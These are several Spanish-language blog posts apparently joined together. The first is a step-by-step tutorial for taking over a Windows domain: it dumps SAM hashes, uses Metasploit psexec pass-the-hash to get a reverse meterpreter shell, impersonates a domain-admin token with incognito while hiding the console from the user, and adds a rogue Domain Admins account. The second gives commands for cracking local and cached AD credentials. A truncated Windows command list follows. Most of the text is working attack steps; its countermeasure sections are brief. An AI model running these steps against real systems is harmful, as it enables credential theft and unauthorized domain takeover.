Pass-The-Hash + Token Impersonation = Escalación de privilegios en dominios Windows
Para complementar el artículo Cracking passwords Windows y Active Directory y acercándome más a lo explicado en ¿Cómo tomar control de un Dominio en Windows?, les explicaré como tomar control de un dominio AD sin crackear passwords, simplemente utilizando el ataque pass-the-hash y suplantación (impersonation) de usuarios.

Al igual que en el ataque que demostré en mi otro artículo, podremos partir de un atacante sin cuenta de usuario en el dominio, sólo con acceso físico a una workstation, y terminar siendo administradores de dominio... cool no?


Obtengamos los hashes

Una vez más necesitaremos una distribución de Linux como backtrack, desde la cual iniciamos en una workstation de la red. Desde ahí montamos la partición de Windows en /mnt/hack/ y procedemos a obtener los hashes de la SAM local.
Primero conseguimos el syskey para desencriptar los hashes y la almacenamos en syskey.txt:
bkhive /mnt/crack/WINDOWS/system32/config/system syskey.txt
y a continuación obtenemos los hases:
samdump2 /mnt/crack/WINDOWS/system32/config/SAM syskey.txt > hashes.txt
Ya tenemos los hashes de las cuentas locales. Esta vez no necesitamos crackear estos hashes, ya nos alcanza con tenerlos... locura? no, gracias a Windows, no lo es.


Pass-the-Hash attack


El ataque pass-the-hash no es realmente un ataque, sino una característica del protocolo de autenticación LM/NTLM/NTLMv2. Cuando un usuario desea acceder a un recurso de otra máquina, dependiendo la versión de Windows y cómo esté configurado, la autenticación se llevará a cabo utilizando LM/NTLM/NTLMv2 o el mucho muy preferible Kerberos. Si bien desde Windows 2000 la autenticación ideal es Kerberos, Windows (y su lema "compatibilidad hacia lo inseguro") permite utilizar otros tipos de autenticaciones, osea, alguno de los citados. Es por esto que todavía podemos acceder recursos por red utilizando LM/NTLM/NTLMv2. Si bien NTLMv2 es bastante más seguro que sus predecesores, sigue padeciendo del mismo problema... el pass-the-hash.
Y de qué va pass-the-hash? bueno, si leen un poco sobre la implementación del protocolo (The NTLM Authentication Protocol), verán que no es necesario conocer el password en texto plano para autenticarse, sino que directamente se puede utilizar el hash... si, el hash que obtuvimos de la SAM.
En la autenticación LM/NTLM, el servidor (la máquina donde se encuentra el recurso) envía un challenge (conjunto arbitrario de bytes) al cliente. Este último utiliza el hash LM/NTLM partido en 3 partes de 7 bytes (los hashes son de 16, pero se les agregan 5 ceros) como claves para DES-encriptar (encriptar utilizando DES) el challenge enviado por el servidor, resultando en 3 valores de 8-bytes. Luego concatena estos 3 valores para formar la respuesta de 24 bytes, la cual envía al server.
El server realiza la misma operación y verifica que la respuesta coincida con lo que calculó. Si coinciden, la autenticación es satisfactoria, sino, se rechaza el login.

NTLMv2 varía un poco en la forma que calcula la respuesta. En este caso se utiliza un bloque de tipo blob que contiene información como timestamp y challenge del cliente (distinto al del servidor) entre otras cosas. El challenge del servidor se concatena con el blob y se calcula el HMAC-MD5 del lo anterior, utilizando el hash NTLMv2 como clave, dando como resultado un valor de 16 bytes. Los 16 bytes obtenidos se concatenan con el blob, formando así la respuesta del cliente.

Como verán, en ningún momento se necesita el password plano en la autenticación, así que no necesitamos crackear nada para acceder al server, nos basta con el hash =)

Ahora que conocemos el ataque, les explico cómo utilizarlo.
Por suerte existe metasploit, programa que nos ahorra mucho trabajo, el cual junto a su meterpreter nos permite hacer ataques complejos en una máquina. Como objetivo debemos elegir la máquina de algún administrador de dominio, porque necesitaremos sus credenciales para poder crear un nuevo administrador.
Primero ejecutamos la consola de metasploit, algo tan simple como:
msfconsole
Una vez cargada la consola (tarda un poco), elegimos utilizar el exploit psexec:
msf > use windows/smb/psexec
El módulo PsExec es similar a una utilidad provista por SysInternals, pero con algunos añadidos, como por ejemplo, la posibilidad de autenticarse remotamente utilizando hashes en lugar de passwords. Esta herramienta nos permite ejecutar comandos remotamente, utilizando SMB (ahora llamado CIFS). Siempre que deseen obtener información de un módulo, pueden ejecutar el comando "info".
Entre los parámetros que necesitamos para ejecutar esta herramienta están: RHOST (host a explotar), SMBUser (usuario SMB, en nuestro caso será Administrator), SMBPass (el hash del password que obtuvimos en la sección anterior). Claro está que el ataque funciona si la workstation que deseamos acceder tiene el mismo password para la cuenta Administrator (algo extremadamente común en redes corporativas):
msf exploit(psexec) > set RHOST 192.168.1.44
msf exploit(psexec) > set SMBUser Administrator
msf exploit(psexec) > set SMBPass **** hash LM aqui ****:**** hash NTLM aqui****
En caso de no tener el hash LM, ingresen 32 ceros, luego los dos puntos (:) y a continuación el hash NTLM.
A continuación cargamos el payload que deseamos ejecutar. En esta ocación utilizaremos meterpreter que nos permite realizar varias tareas en una sola conexión. Elegimos que el sistema donde nos autenticamos inicie una conexión tcp a nuestra máquina en el port 4444:
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.1
msf exploit(psexec) > set LPORT 4444
Como siempre, para ver qué parámetros son necesarios, pueden ejecutar "show options" en la consola.

Ya tenemos el exploit configurado y listo para atacar, así que, ataquemos! En metasploit esto se traduce a ejecutar:
msf exploit(psexec) > exploit
La salida debería ser algo como:
[*] Started reverse handler on 192.168.1.1:4444
[*] Connecting to the server...
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \gDjneULB.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.44[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.44[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (LjbMTYFm - "MpqcVfihFhHPNmIktZMFOLNiXLVsE")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \gDjneULB.exe...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.44:1029)
Ahora ya estamos en la máquina remota y podemos ejecutar todo lo que meterpreter nos permita. Llegado este paso, necesito introducir un poco de sobre el manejo de tokens en Windows para entender lo que vamos a hacer... sigan leyendo la siguiente sección!


Suplantando al Administrador de dominio

Para poder suplantar la identidad de un administrador de dominio necesitamos conocer un poco acerca de los access tokens.
Un access token es un objeto que describe el contexto de seguridad de un proceso o thread. Entre la información que incluye se encuentran la identidad y los privilegios de la cuenta de usuario asociada con el proceso/thread. Cuando un usuario se loguea, se crea un access token, y todo proceso o hilo creado por él tiene una copia del token (es decir, se heredan los permisos).
Cada vez que un proceso quiere interactuar con objetos cuyos decriptores fuerzan el control de acceso (securable objects) se utiliza el access token asociado.
En resumen, los tokens describen los permisos que tiene un usuario, y dictan lo que puede y no puede hacer en un sistema.

Existen distintos tipos de tokens:
- Primary tokens: sólo se pueden asociar a procesos y representan el contexto de seguridad del mismo. La creación y asociación de estos tokens son operaciones privilegiadas.
- Impersonation tokens: aka, los tokens que nos interesan. Estos tokens permiten a un usuario "ser", temporalmente, otro usuario. Es decir, permiten a una aplicación correr con permisos de un usuario distinto al que la creó.
Existen tres niveles de impersonation:
# identification: permite a un thread inspeccionar la identidad de otro usuario.
# impersonation: permite a un thread ejecutar aplicaciones a nombre de otro usuario.
# delegation: igual que impersonation, pero además se extiende a sistemas remotos a los cuales el server tiene conexión. La diferencia está en que almacena información sobre credenciales de autenticación. Estos tokens son los que nos permitirán lograr privilegios Domain Admin.
Dependiendo el nivel de acceso que logremos en un server/workstation, utilizando estos tokens existe la posibilidad de lograr escalación de privilegios. La escalación normalmente se divide en dos formas principales: Domain Privilege Escalation y Local Privilege Escalation.

Si logramos acceder a un sistema con privilegios Administrator (algo que hacemos con pass-the-hash), podremos impersonar tokens del tipo delegation. Como verán, esto es una característica del sistema operativo, no un bug! es decir, hacer esto es "legal" hablando en términos del SO.

Teniendo un poco de idea sobre cómo funcionan los benditos tokens, podemos proseguir con la escalada de privilegios. Lo que haremos es suplantar la identidad del administrador de dominio, por eso es que necesitamos loguearnos alguna máquina donde esté logueado el admin, porque en ella podemos obtener el token de este. La tarea de suplantar el admin se lleva a cabo con el módulo incognito. Existe también la aplicación incognito para Windows, la cual metasploit portó a su framework. Para usar incognito, simplemente ejecutamos:
meterpreter > use incognito
Con el módulo cargado podremos ver qué tokens están disponibles en sistema y así sabremos a quienes podemos suplantar. La lista de tokens la vemos ejecutando:
meterpreter > list_tokens -u
que nos dará una salida similar a:
Delegation Tokens Available
========================================
DVPEM\demasiadovivo
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
Por supuesto que nos interesa el administrador de dominio, el cual en mi caso se llama demasiadovivo. Sabiendo cual es el token indicado, iniciamos la suplantación:
meterpreter > impersonate_token DVPEM\\Administrator
Si todo va bien, ya podemos ejecutar aplicaciones como administrador de dominio!, para que los privilegios nos duren, creamos una cuenta propia y la agregamos al grupo Domain Admins, es decir, el grupo de administradores de dominio. Este trabajo necesitamos hacerlo desde una consola en la máquina atacada, así que primero abrimos una consola (comando execute) con el meterpreter:
meterpreter > execute -f cmd.exe -H -i -t
Los parámetros son -f para indicar qué archivo queremos ejecutar, -H para indicar que la consola se abra escondida, es decir, que el usuario que se encuentra logueado en la máquina no la vea (importante, sino sospecharán que pasa algo raro...), -i para decir que deseamos interactuar con el proceso una vez creado y -t para que el proceso se ejecute con el token suplantado.

Ahora si, un poco de comandos Windows. La administración de usuarios del dominio se realiza a través del comando net, pueden buscarlo en la lista que mostró emilio hace unos días (http://itfreekzone.blogspot.com/2010/03/shortcuts-lista-de-comandos-de-windows.html). Agregaremos el usuario hacker, password 123456 y luego lo haremos administrador de dominio con los siguientes comandos:
C:\WINDOWS\system32>net user hacker 123456 /add /domain
C:\WINDOWS\system32>net group "Domain Admins" hacker /add /domain
Si la salida es algo como "The request will be processed at a domain controller for domain DVPEM", quiere decir que estamos bien =)

Llegaron hasta acá sin errores? FELICITACIONES! son Administradores de dominio!, es decir, el Dios de dominio.


Otras recetas

Si bien yo describí como realizar el ataque utilizando metasploit, existen otras formas de hacerlo, aunque llevan más trabajo. En el artículo "Why Crack When You Can Pass the Hash?" explican varios métodos para ejecutar aplicaciones remotamente utilizando pass-the-hash. Entre las herramientas citadas se encuentran el cliente SAMBA modificado, SMBShell, Nessus, Hydra, Msvctl, y el muy conocido Pass-The-Hash Toolkit.

Por su parte, para realizar token impersonation se puede utilizar la herramienta incognito directamente desde Windows, la cual pueden ver en acción en el white paper que llevó a su implementación: "Security Implications of Windows Access Tokens - A Penetration Tester's Guide".


Contramedidas

OK, vimos escalar privilegios en un dominio Windows (para variar) es muy fácil. También vimos que no es necesario utilizar exploits, simplemente tener acceso a una workstation. Pero bien, nosotros trabajamos para la seguridad, así que es mi deber buscar una solución al problema.
Como no se utilizan exploits en el "ataque", no existe parche que nos salve. Lo único que podemos hacer es utilizar un conjunto de políticas y configuraciones del sistema operativo que minimicen los riesgos.

Tal vez la pregunta que viene a la mente cuando hablamos de pass-the-hash es, si tenemos kerberos y toda la red está configurada para utilizarlo, PARA QUE CORCHO TENER ACTIVADO LM/NTLM/NTLMv2??? Desactivar estos protocolos inseguros parece una muy buena idea, pero por suerte antes de proponerlo me encontré con un interesantísimo paper de la gente de Compass Security llamado "Windows Security - Hash Injection Attacks" donde justamente hacen esta prueba y el resultado fue que no funciona más el login!!! Increíble... bah, es Windows...

La solución que a mi parecer es la mejor, y por suerte coincide con lo que leí luego en papers, es una que utiliza un principio citado en todo libro de seguridad: No loguearse nunca como administrador si no necesitamos tales privilegios! Esto complementado con utilizar passwords distintos al de las workstations de usuario para las workstations de los administradores de dominio. A su vez, utilizar distinto password para el Administrator de los servidores.
En el trabajo diario, un administrador de dominio sólo necesitará estos permisos para acceder a los Domain Controlers, y a lo sumo en su workstation. Si el password de Administrator en estas máquinas es distinto al del resto de la red, el rango de ataque se reduce. Igualmente no debería utilizar, salvo en casos excepcionales, sus credenciales de administrador en la workstation que trabaja.

Una medida extra es deshabilitar el debugging de aplicaciones. El debugging de aplicaciones se utiliza muy raramente (salvo que se dediquen a programar) y permite inyectar librerías en la memoria de los procesos. Gracias a esto metasploit (o algún otro programa) puede cargar librerías en la memoria del proceso afectado (LSASS.exe) y ejecutar distintas acciones. Si bien la medida no detiene todos los ataques, si frena algunos.
Cambiar esta función es tan simple como quitar todos los usuarios y grupos asignados a la configuración "Debug program" en la política de grupo.


Referencias

- Why Crack When You Can Pass the Hash? (Chris
Hummel)
- Pass-the-hash attacks: Tools and Mitigation (Bashar Ewaida)
- Security Implications of Windows Access Tokens - A Penetration Tester's Guide (Luke Jennings)
- ¿Cómo tomar control de un Dominio en Windows?
- Using Metasploit’s Incognito To Impersonate User Tokens
- Access Tokens
- Windows Security - Hash Injection Attacks (Ivan Bütler)
- Add a user from the command line Windows
- Token Passing with Incognito
- Deploying meterpreter as an exploit payload
Cracking passwords Windows y Active Directory
Motivado por el video compartido por La Comunidad Dragonjar en su artículo ¿Cómo tomar control de un Dominio en Windows?, me dieron ganas de investigar un poco más a fondo la forma de almacenamiento de passwords en Windows y su Active Directory, y ver hasta dónde podía escalar dentro del dominio.
A continuación les daré una breve descripción del mecanismo para almacenar passwords y luego la parte interesante, es decir, cómo crackearlos! Por último, describiré formas de dificultar esta tarea, configurando Windows apropiadamente.


Algo de Historia

No es secreto que Windows tiene mala fama en cuanto a seguridad (y eficiencia, utilidad, etc, pero restrinjamonos a hablar de la seguridad =P). La administración de passwords no es la excepción, y viene mal implementada desde hace décadas. Y a qué se debe que conserven un sistema tan malo luego de tantos años? gracias a la señora "compatibilidad hacia atrás". Si bien a lo largo de los años desplegaron mejores formas de administrar los passwords, su lema "ser compatible con lo inseguro" acarrea que las mejoras no sirvan.

La historia del almacenamiento inseguro viene desde MS Lan Manager, un sistema operativo de red desarrollado por MS en la prehistoria (hablando en tiempos computacionales), y cuyo algoritmo para hashear los passwords (LM Hash) es tan desastroso, que un passwords se rompe en cuestión de segundos usando Rainbow Tables, o en horas (a veces minutos) usando fuerza bruta.
El algoritmo LM convierte todos los caracteres del password a mayúsculas, los parte en dos partes de 7 caracteres y luego hashea cada parte por separado, de forma que un ataque por fuerza bruta solo requiere hacer pruebas de hasta 7 caracteres en mayúsculas! En versiones modernas de Windows, los passwords mayores a 14 caracteres se almacenan directamente con hash NTLM y no se utiliza LM. En cambio en versiones antiguas, el password se recortaba a 14 caracteres si este contaba con más caracteres.
La forma de autenticar un usuario de red es utilizando estos débiles hashes, y este sistema de autenticación se reutilizó en Windows 95, 98 y Me.

Y qué tiene que ver este OS prehistórico con el almacenamiento de passwords en Windows NT modernos (2000 en adelante)? como dije al principio, la "compatibilidad hacia atrás". Dado que la gente de MS deseaba que sus sistemas modernos fueran compatibles con los antiguos, decidieron seguir almacenando los passwords utilizando el hash LM. De esta forma, si en la misma red conviven Windows 95, Lan Manager u otro de estos, con los nuevos Windows 2000, XP o 2003, todo "funciona"! Si un XP se comunica con un 98, éste le pasa el LM Hash para autenticarse y vice-versa.

Si bien el algoritmo para almacenar passwords se fue mejorando con la introducción de NTLM (NT Lan Manager) y NTLMv2, la compatibilidad hace que estos sean sólo un complemento y no una mejora. A partir de Windows 2000, en los dominios Active Directory (AD) se comenzó a utilizar Kerberos, el cual desplazó NTLM, pero tanto LM como NTLM siguen existiendo.

Por defecto Windows 2000, XP y 2003 vienen configurados para almacenar localmente tanto el hash LM como el NTLM. Las cuentas AD, como veremos más adelante, se almacenan de forma distinta. A partir de Windows Vista, se desactivó esta funcionalidad, aunque viene integrada por si algún administrador desea habilitarla.


Background técnico

Los passwords, en Windows 2000 y superiores, se almacenan en un archivo llamado SAM (Security Accounts Manager) que se encuentra en el directorio %SystemRoot%\system32\config (generalmente C:\WINDOWS\system32\config). En dicho archivo se encuentran nombre de usuario, id, password LM Hash y password NTLM Hash (si, el password está dos veces, una vez hasheado con cada algoritmo).
Para aquellos nostálgicos, en Windows 95 y 98 -Gracias Javi por la Info- los passwords se guardaban en archivos pwl, con nombre <usuario>.pwl. Aquí además se almacenaban los passwords dial-up. El almacenamiento era reversible, es decir, no se hasheaban sino que se encriptaban con un algoritmo débil.

Obtener los datos del archivo SAM no es tan simple como abrir y copiar. Cuando Windows se está ejecutando, éste obtiene un lock exclusivo sobre el SAM y no lo libera hasta que no se apaga. Esto quiere decir que, mientras Windows se ejecuta, es imposible leer el archivo. Además los hashes se encuentran encriptados usando la herramienta SYSKEY, cuya clave se encuentra en el archivo system (ubicado en el mismo directorio que SAM).

Cuando Windows inicia, éste lee los passwords de la SAM local, los desencripta y los almacena en las claves de registro:
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Accounts/Users
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Accounts/Names
esto nos brinda un punto más de ataque como veremos a continuación.

Active Directory utiliza una forma diferente para almacenar las contraseñas de los usuarios. En un dominio el usuario no se autentica contra el Windows de la máquina local, sino contra kerberos, que se encuentra en los Domain Controlers (DC). Esto hace que las credenciales de los usuarios no se encuentren en cada máquina, sino en un repositorio central (los DC). Pero Windows nos da una mano para poder obtener estos hashes...
Cada vez que un usuario de dominio se loguea en una máquina, Windows cachea las credenciales del usuario en la máquina donde se logueó. Esto se utiliza para que, en caso de cortes en la red, o caída de los DCs, el usuario pueda autenticarse y utilizar la máquina igual. Dichas credenciales, como no podía ser de otra manera, se almacenan en el registro, en las claves:
HKEY_LOCAL_MACHINE\SECURITY\CACHE\NL$1
HKEY_LOCAL_MACHINE\SECURITY\CACHE\NL$2
...
HKEY_LOCAL_MACHINE\SECURITY\CACHE\NL$10
Estos passwords se almacenan de forma mucho más segura que los passwords locales. Al igual que en los casos anteriores tenemos nombre de usuario, y password hasheado usando LM Hash y NTLM Hash, pero todos estos datos se encuentran encriptados usando una clave llamada LSA y una combinación de los algoritmos DES, HMAC_MD5 y RC4. Además se utiliza salt para el calculo de la clave que desencripta los hashes, haciendo que los ataques con Rainbow Tables sean prácticamente imposibles. Por otra parte, las claves de registro no se pueden acceder ni siquiera siendo administrador, sólo se pueden acceder teniendo permisos SYSTEM.


Let's Crack some passwords!

Si se fumaron toda la teoría, estarán contentos de leer que a partir de aquí les diré como obtener los condenados passwords =)
Como siempre, la teoría puede parecer algo pesada, pero es indispensable para entender bien que corno estamos haciendo (por algo el lema del blog es "constante deseo por saber cómo funcionan las cosas").

Para la tarea vamos a necesitar algunas herramientas:
- bkhive (para la clave SYSKEY)
- samdump2 (para obtener los datos almacenados en SAM en formato pwdump)
- john the ripper (para crackear los passwords usando diccionarios o fuerza bruta)
- ophcrack (para crackear los passwords usando rainbow tables)
- pwdump (otra forma de obtener los datos almacenados en SAM)
Parecen muchas herramientas, pero dependiendo lo que queramos hacer, sólo necesitaremos algunas. A excepción de pwdump que es para Windows, todas las demás se encuentran en las distribuciones de Linux.

Hay dos formas de obtener cuentas locales en una máquina Windows. Una es desde el mismo Windows, para lo cual necesitaremos privilegios de Administrador, y la otra es iniciar desde otro sistema. Desde Windows necesitamos privilegios de administrador porque otro usuario no puede acceder a los campos de la registry donde se almacenan las credenciales, y claro, no podemos acceder al archivo SAM porque está lockeado por el mismo Windows.

En mi propuesta, asumo que arrancamos con base 0, osea, sólo tenemos acceso físico a la computadora, pero no tenemos ninguna cuenta de usuario, o bien una cuenta sin privilegios. En esta situación, utilizaré una distro Linux, la cual puede ser backtrack que ya trae las herramientas que necesito.

Partiendo de aquí, lógicamente, iniciamos el sistema con el live-cd, montamos Windows en /mnt/crack/ y procedemos a obtener los hashes de la SAM. El primer paso será obtener la clave de encripción de los hashes para lo cual utilizamos bkhive:
bkhive /mnt/crack/WINDOWS/system32/config/system syskey.txt
Con esto obtenemos el syskey en syskey.txt. A continuación utilizamos samdump2 para por fin sacar las credenciales de la SAM:
samdump2 /mnt/crack/WINDOWS/system32/config/SAM syskey.txt > hashes.txt
El comando anterior toma el archivo SAM y el syskey para devolver los hashes. La salida la redirijo al archivo hashes.txt que luego utilizaré en el cracker.

Con lo descripto ya deberíamos tener las credenciales con los passwords hasheados en formato pwdump.
Cuál es el formato pwdump? el siguente:
<usuario>:<id>:<LM Hash>:<NTLM Hash>:comentarios:directorio-home:
La salida debe estar en un formato entendible por los crackers, y el formato pwdump es casi como un estándar, entendible por los crackers más conocidos.

Como se darán cuenta, a partir de la descripción del algoritmo LM, crackear passwords por fuerza bruta lleva poco tiempo. Siempre es más rápido realizar ataques de diccionario, pero como lo vamos a sacar igual, usemos fuerza bruta =P
john -i:all hashes.txt
con -i:all le indicamos a john the ripper que utilice fuerza bruta.

Algo muchísimo más efectivo que fuerza bruta, y que sirve también para passwords hasheados solamente con NTLM es usar rainbow tables. ophcrack es la herramienta más conocida para realizar este trabajo. Simplemente:
- descarguen ophcrack
- descarguen alguna tabla rainbow
- carguen la/s tabla/s descargada/s en ophcrack
- carguen el archivo hashes.txt en ophcrack
- denle al botón crack
- vean la magia

Si crackear un password de 7 caracteres con john me tomó una 1:15 hs, con ophcrack hice el mismo trabajo en menos de 10 mins.


Para qué sirve PWDump?

Tal vez se estén haciendo esa pregunta...
PWDump permite hacer un volcado de las credenciales locales que se encuentran cargadas en la registry de Windows, mientras Windows se está ejecutando. El problema es que, para poder utilizar esta herramienta necesitamos ser administradores.
Como expliqué anteriormente, mi idea es explicar como obtener passwords asumiendo que no tenemos más que el acceso físico a la máquina, algo que ya hicimos en el párrafo anterior. Osea, obtener passwords de administrador, siendo ya administrador no tiene tanto sentido.
Pero pensándolo desde un punto de vista de auditoría, quizás a alguno le sirva saber que existe esta posibilidad, así que les tiro el tip.
PWDump hace lo mismo que samdump, con la diferencia que toma las credenciales desde la registry en lugar de leer el archivo SAM. La forma de utilizarlo es:
pwdump.exe <nombre-de-la-máquina>
Si la máquina se llama pepito, el comando sería:
pwdump.exe pepito > hashes.txt
Al igual que hice con samdump, redirijo la salida a un archivo de texto para luego poder usar algún cracker.


Cracking Dominios!

Bien, para esta altura ya deberíamos tener las cuentas locales de una máquina, incluida la de algún administrador local. Ahora sí podemos loguearnos en Windows, aunque todavía no en el dominio.
Según lo descripto anteriormente, las cuentas de dominio se almacenan en la registry y están bastante protegidas. Lo bueno es que seguramente el administrador de dominio so logueó en la máquina analizada, por lo que hay grandes chances de conseguir el password del admin de dominio... osea, el admin de tooooda la red (si, Dios de la red >=) ).
Un problema que puede surgir es que la política de passwords nos juegue en contra. Si la política requiere que un usuario cambie su password cada X cantidad de días, y si la cuenta del usuario de dominio que obtenemos no se logueó durante X días en nuestra máquina, el password que obtendremos será inútil. Lo mismo si el usuario cambió su password por gusto y no se logueó luego en nuestra máquina.

Pero bueno, supongamos que estamos con suerte y las cuentas del dominio en nuestra máquina todavía sirven. Pasemos entonces a la forma de obtenerlas.

Para este trabajo necesitamos las siguientes herramientas:
- CacheDump (para obtener las credenciales Active Directory almacenadas en la registry)
- john the ripper parchado para mscache
Utilizando CacheDump podremos obtener las credenciales almacenadas en el registro, pero no como texto plano. Debido a que los datos están encriptados utilizando varios niveles de encripción, CacheDump nos sirve para obtener el llamado MSCASH=( MD4( MD4(password ) || lowercase(username) ), el cual luego debemos desencriptar utilizando john the ripper.
El trabajo de CacheDump es crear un servicio que corra como SYSTEM para así obtener la clave LSA que se encuentra en la memoria del proceso LSASS (Local Security Authority System Service). Una vez obtenida la clave, descifra las entradas en el registro para obtener el MSCASH, es decir, hace lo siguiente:
0. LSA keyB = DES( NL$KM, static in-memory LSA keyA )
1. RC4 keyC = HMAC_MD5( LSA keyB, CH )
2. DATA = RC4( EDATA, RC4 keyC );
donde DATA contiene el MSCASH que buscamos.

La ejecución de este programa es muy sencilla. Simplemente tipeen:
cachedump.exe > mscash.txt
donde redirijimos la salida a un archivo que luego utilizamos en el john.
A veces la ejecución puede dar errores, o bien no mostrar nada. Para que la salida les muestre un poco más de información, pueden utilizar la opción -v. Eso sí, no redirijan esa salida a un archivo porque luego no les servirá para el cracker.

Ahora que tenemos el MSCASH, necesitamos crackearlo para obtener las cuentas. Los mismos desarrolladores de CacheDump desarrollaron un parche para john the ripper que sirve para crackear formatos MSCASH. Si bien en muchos sites antiguos explican como aplicar el parche, la realidad es que en las versiones actuales de john el formato ya viene incorporado.
Para realizar el cracking tendremos que pasarle el parámetro format. El comando quedaría de la siguiente forma:
john --format=mscash mscash.txt
en este caso nos vendrían bien algunos diccionarios, porque crackear estos passwords por fuerza bruta no es tan simple como el caso de los hash LM y puede llevar mucho tiempo. También es útil utilizar sesiones para que, en caso de detener el cracking, lo podamos reiniciar más adelante. La forma de utilizar sesiones es muy simple, pasamos el parametro session seguido del nombre de la sesión. Si luego queremos reiniciar una sesión detenida por alguna razónz, lo hacemos con el parámetro restore y el nombre de la sesión. El ejemplo para nuestro caso sería:
john --format=mscash --session=MSCASH_crack mscash.txt
donde MSCASH_crack es el nombre de la sesión. Si la ejecución se detiene y queremos reiniciarla luego, simplemente ejecutamos:
john --restore=MSCASH_crack


Resúmen

Si todo fue bien, logramos pasar de siquiera tener usuario en una máquina a ser administradores de dominio... no es cool?


Contramedidas

Hay una serie de medidas que podemos tomar para hacer mucho más difícil la tarea del atacante. Por un lado tenemos el problema de los hashes LM. Desde Windows 2000 esta función se puede desactivar, y forzar que Windows sólo almacene hashes NTLM. En la página de MS pueden encontrar como realizar esta tarea, la cual requiere aplicar la directiva NoLMHash, que se puede aplicar como política de grupo o agregando la clave NoLMHash en la clave HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa.
De esta forma Windows no almacenará el hash LM de los nuevos passwords, sólo el NTLM. Presten atención, porque la directiva se aplica a los nuevos passwords, los que no se cambien luego de agregar el valor NoLMHash, quedarán como estaban en la SAM.

Otra medida es tener una buena política de passwords. Passwords cortos son más fáciles de obtener que passwords largos. Igualmente no podemos hacer mucho contra ataques por Rainbow Tables, el cual permite hallar claves de hasta 14 caracteres. Si podemos lograr que los usuarios utilicen contraseñas con más de 14 caracteres, estaríamos bastante a salvo =)

Por último, para evitar el cracking de cuentas de dominio, lo que podemos hacer es:
- Quitarle el permiso de administrador local a todos los usuarios.
- Reducir el número de passwords cacheados. Esto se puede hacer poniendo en 1 (o preferentemente 0 si no necesitamos cachear) la clave HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\CACHEDLOGONSCOUNT


Referencias

- Theory and practice of password auditing and recovery in Windows NT/2000/XP/2003
- Crackear las contraseñas de los usuarios en XP, Windows 2000 y NT
- Cracking Windows Passwords with Ophcrack and Rainbow Tables
- Cracking Cached Domain/Active Directory Passwords on Windows XP/2000/2003
- Security Accounts Manager (wiki)
- CacheDump - Recovering Windows Password Cache Entries
- How to prevent Windows from storing a LAN manager hash of your password in Active Directory and local SAM databases
- Reverse Engineering/Cracking Windows XP Passwords
- Cracking Syskey and the SAM on Windows XP, 2000 and NT 4 using Open Source Tools
- Windows NT Password Dump Utility
Shortcuts: Lista de comandos de Windows
Esta semana probé un exploit en SQL Server utilizando Metasploit que me dió el acceso a una shell remota en un servidor Windows. Entonces pensé: "buenísimo, ya estoy adentro del server! y ahora qué?"
Experimentado en el uso de la shell de Linux, me encontré sin saber que comandos de Windows probar en el server (algo más útil que "dir" o "ipconfig"). Buscando en internet, encontré este índice de la A la Z de comandos de la shell CMD de Windows en el sitio SS64.com (donde también se pueden encontrar listas de comandos de Powershell, BASH, etc.):

a
ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations•
ASSOCIAT One step file association
ATTRIB Change file attributes
b
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info
c
CACLS Change file permissions
CALL Call one batch program from another•
CD Change Directory - move to a specific Folder•
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen•
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colors of the CMD window•
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location•
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data
d
DATE Display or set the date•
DEFRAG Defragment hard drive
DEL Delete one or more files•
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders•
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSACLs Active Directory ACLs
DSAdd Add items to active directory (user group computer)
DSGet View items in active directory (user group computer)
DSQuery Search for items in active directory (user group computer)
DSMod Modify items in active directory (user group computer)
DSMove Move an Active directory Object
DSRM Remove items from Active Directory
e
ECHO Display message on screen•
ENDLOCAL End localisation of environment changes in a batch file•
ERASE Delete one or more files•
EVENTCREATE Add a message to the Windows event log
EXIT Quit the current script/routine and set an errorlevel•
EXPAND Uncompress files
EXTRACT Uncompress CAB files
f
FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR /F Loop command: against a set of files•
FOR /F Loop command: against the results of another command•
FOR Loop command: all options Files, Directory, List•
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations•
g
GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line•
GPUPDATE Update Group Policy settings
h
HELP Online Help
i
iCACLS Change file and folder permissions
IF Conditionally perform a command•
